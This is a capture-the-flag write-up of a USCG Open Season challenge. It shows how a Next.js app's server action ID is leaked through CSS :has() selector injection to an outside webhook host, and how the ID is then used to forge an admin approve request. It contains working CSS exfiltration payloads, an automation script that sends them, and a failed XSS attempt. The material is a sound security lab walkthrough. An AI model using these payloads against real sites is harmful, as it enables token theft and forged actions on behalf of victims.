Skip to content
Go back

USCG Open Season 5: Beg-o-Matic 3000 - Next.js CSRF with CSS Injection

Published:  at  03:00 PM

By: mr_mph

image.png

image.png

okay so we get raw html injection. should be simple XSS right? first thought:

<img
  src
  onerror="document.querySelectorAll('form > button').forEach((button) => button.click())"
/>

unfortunately no, csp is strict and won’t allow inline scripts to execute:

const cspHeader = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}';
    style-src 'self' 'unsafe-inline' *;
    img-src 'self' 'unsafe-inline' *;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
`;

can bypass the middleware that adds csp? there was a CVE for that recently

unfortunately our next.js version is a non vulnerable one

"dependencies": {
    "better-sqlite3": "^11.10.0",
    "dotenv": "^16.5.0",
    "express": "^5.1.0",
    "next": "15.3.2",
    "puppeteer": "^24.8.2",
    "react": "^19.0.0",
    "react-dom": "^19.0.0"
  },

Solve idea:

when the admin submits the form, they are simply doing POST /api/submit/<id>

the only thing verified on this request is the Next-Action: header

image.png

running locally, this is 402d81d70900d0f972b0a13b87c77891effc6148a3, but it seems to be random with each instance. so let’s exfiltrate it using css (remember style-src 'self' 'unsafe-inline' *;)

here’s an idea:

form:has(input[name^="$ACTION_ID_0"]) {
  background-image: url("https://l574jabr.c5.rs/0") !important;
}

what if we just bruteforce this, where the only style that applies is the one where the element actually exists. something like:

<style>
  form:has(input[name^="$ACTION_ID_0"]) {
    background-image: url("https://l574jabr.c5.rs/0") !important;
  }
  form:has(input[name^="$ACTION_ID_1"]) {
    background-image: url("https://l574jabr.c5.rs/1") !important;
  }
  form:has(input[name^="$ACTION_ID_2"]) {
    background-image: url("https://l574jabr.c5.rs/2") !important;
  }
  form:has(input[name^="$ACTION_ID_3"]) {
    background-image: url("https://l574jabr.c5.rs/3") !important;
  }
  form:has(input[name^="$ACTION_ID_4"]) {
    background-image: url("https://l574jabr.c5.rs/4") !important;
  }
  form:has(input[name^="$ACTION_ID_5"]) {
    background-image: url("https://l574jabr.c5.rs/5") !important;
  }
  form:has(input[name^="$ACTION_ID_6"]) {
    background-image: url("https://l574jabr.c5.rs/6") !important;
  }
  form:has(input[name^="$ACTION_ID_7"]) {
    background-image: url("https://l574jabr.c5.rs/7") !important;
  }
  form:has(input[name^="$ACTION_ID_8"]) {
    background-image: url("https://l574jabr.c5.rs/8") !important;
  }
  form:has(input[name^="$ACTION_ID_9"]) {
    background-image: url("https://l574jabr.c5.rs/9") !important;
  }
  form:has(input[name^="$ACTION_ID_a"]) {
    background-image: url("https://l574jabr.c5.rs/a") !important;
  }
  form:has(input[name^="$ACTION_ID_b"]) {
    background-image: url("https://l574jabr.c5.rs/b") !important;
  }
  form:has(input[name^="$ACTION_ID_c"]) {
    background-image: url("https://l574jabr.c5.rs/c") !important;
  }
  form:has(input[name^="$ACTION_ID_d"]) {
    background-image: url("https://l574jabr.c5.rs/d") !important;
  }
  form:has(input[name^="$ACTION_ID_e"]) {
    background-image: url("https://l574jabr.c5.rs/e") !important;
  }
  form:has(input[name^="$ACTION_ID_f"]) {
    background-image: url("https://l574jabr.c5.rs/f") !important;
  }
</style>

the action id is 42 characters long, so lets automate this. here’s the script I asked chatgpt to make to build and send our payloads automatically:

(async () => {
  const hex = "0123456789abcdef".split("");
  let prefix = ""; // we'll build this up via prompts

  for (let pos = 0; pos < 42; pos++) {
    // build all 16 CSS rules for this position
    const rules = hex
      .map(
        c =>
          `form:has(input[name^="$ACTION_ID_${prefix}${c}"])` +
          `{ background-image:url("https://l574jabr.c5.rs/pos${pos}_char${c}")!important; }`
      )
      .join("");
    const payload = `<style>${rules}</style>`;

    // fire the CSRF probe
    await fetch("/api/submit", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ beg: payload }),
    });

    console.log(
      `▶️ Probed pos ${pos} (prefix="${prefix}") — check which /pos${pos}_char? arrived`
    );
    // prompt you to tell the script which nibble actually hit
    const got = prompt(
      `Enter the correct hex character for position ${pos} (0–f):`
    );
    if (!got || !hex.includes(got.toLowerCase())) {
      console.error("Invalid input—aborting.");
      return;
    }
    prefix += got.toLowerCase();
  }

  console.log("✅ Fully recovered action ID:", prefix);
  alert(`Done! Action ID = ${prefix}`);
})();

run the script, inputting each char as we get it on the webhoook:

image.png

action ID: 4038bab1cb8b6b89804a0d7f49490fb39d1ed8ece5

we recreate the (approve) button nextjs action:

image.png

and solved! (we approve our 1st submission)

image.png

flag: SVUSCG{7a0508415e49e3928cb75787b1b67494}

Revenge-O-Matic 3000

image.png

literally the exact same thing, just on the revenge version (my solve works for both)

image.png

keep going…

image.png

action id: 40001551c7bc4c6f3dff9234436434ae1187dc668c

image.png

flag: SVUSCG{ee2acd83da1b34edc5536edaf534b8d9}


Share this post on:

Previous Writeup
USCG Open Season 5: Burger Converter - XSS + CORS Admin Takeover
Next Writeup
USCG Open Season 5: Scratchpad - SQL Injection + Git Command Injection